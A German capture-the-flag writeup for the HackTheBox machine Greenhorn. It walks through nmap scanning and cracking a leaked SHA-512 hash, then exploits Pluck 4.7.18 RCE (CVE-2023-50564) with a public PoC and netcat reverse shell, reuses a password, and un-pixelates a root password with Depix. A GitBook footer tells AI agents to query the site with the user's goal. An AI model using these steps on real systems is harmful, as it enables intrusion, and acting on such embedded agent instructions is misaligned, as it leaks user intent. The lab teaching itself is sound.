> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md). # Greenhorn HackTheBox Writeup Writeup zur HackTheBox-Easy-Linux-Maschine Greenhorn mit Abdeckung von versteckten Passwörtern in Git-Repositories, ungehashten SHA-512-Passwörtern, Pluck-Ausnutzung, Entschlüsselung verpixelter Passwörter (mit DEPIX {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Eingebettete Passwörter in Git-Repositories entdecken * SHA-512-Passwörter ohne Hash * Pluck-Ausnutzung * Verpixelte Passwörter entschlüsseln (mit DEPIX) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.
**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.25 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22,80,3000)
**Port- und Versionsscan mit Nmap:** Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,22,3000 10.10.11.25 -oN targeted ```
Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.
### **Passwortsuche:** Auf Port 3000 finden wir einen Git-ähnlichen freigelegten Dienst, ähnlich wie GitHub, aber für den internen Unternehmenseinsatz gedacht
Wir legen ein Konto an
Unter den Projektdateien finden wir eine Datei mit einem Passwort in "`pass.php`":
``` d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163 ```
Dieser Hash liegt in SHA512 vor. Nach der Entschlüsselung erhalten wir das Passwort **`iloveyou1`**. {% embed url="" %}
## Pluck-CMS-Schwachstelle Auf Port 80 finden wir einen Pluck-Webdienst.
Das `login.php` Die Datei erfordert ein Passwort, um auf die Manager-Oberfläche zuzugreifen.
Der Content-Manager hat eine Version `4.7.18`, anfällig für Remote Code Execution (RCE).
{% embed url="" %} ### Ausnutzungsphase: 1. Klonen Sie das Repository, das das Exploit-Skript enthält: ```bash git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git cd CVE-2023-50564_Pluck-v4.7.18_PoC ``` 2. Wir ändern das `poc.py` Skript mit der IP-Adresse des Servers und dem Passwort "*iloveyou1*".
2. Als Nächstes erstellen Sie eine `payload.zip` Datei mit der schädlichen Nutzlast, mit den `` und den Portfeldern, die an unseren Listener angepasst sind.
5. Wir führen das Exploit-Skript aus: ```bash python poc.py /home/jordan/......./payload.zip ```
Gleichzeitig öffnen wir eine lauschende Sitzung auf Port `4444` mit Netcat und erhalten Zugriff auf den Server als Benutzer `www-data`.
Durch das Überprüfen der `/etc/passwd` Datei entdecken wir den Benutzer "junior". Wir schaffen es, uns mit dem Passwort zu verbinden **iloveyou1**:
### user.txt-Flag erhalten:
## Privilegieneskalation 1. Wir lokalisieren die PDF-Datei: `Mit OpenVAS.pdf`. 2. Übertragen Sie die Datei mit Python 3, indem Sie Folgendes ausführen: ```bash python3 -m http.server 1234 ```
3. Wir laden die PDF-Datei mit dem folgenden Befehl herunter: 
wget http://10.10.11.25:1234/Using%20OpenVAS.pdf
Beim Öffnen dieser Datei entdecken wir das verpixelte Passwort für das Administratorkonto
### Entschlüsselung des Passworts: Um das verborgene Passwort zu knacken, verwenden wir die Depix-Software: {% embed url="" %}
```bash git clone https://github.com/spipm/Depix cd Depix ``` Als Nächstes führen wir den Befehl aus: ```bash python3 depix.py / -p pixel.png / -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png / -o /home/jordan/Desktop/password.png ```
Das entschlüsselte Passwort lautet:
`sidefromsidetheothersidesidefromsidetheotherside` Wir melden uns mit diesem Passwort als Root-Benutzer an.
### Flag root :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.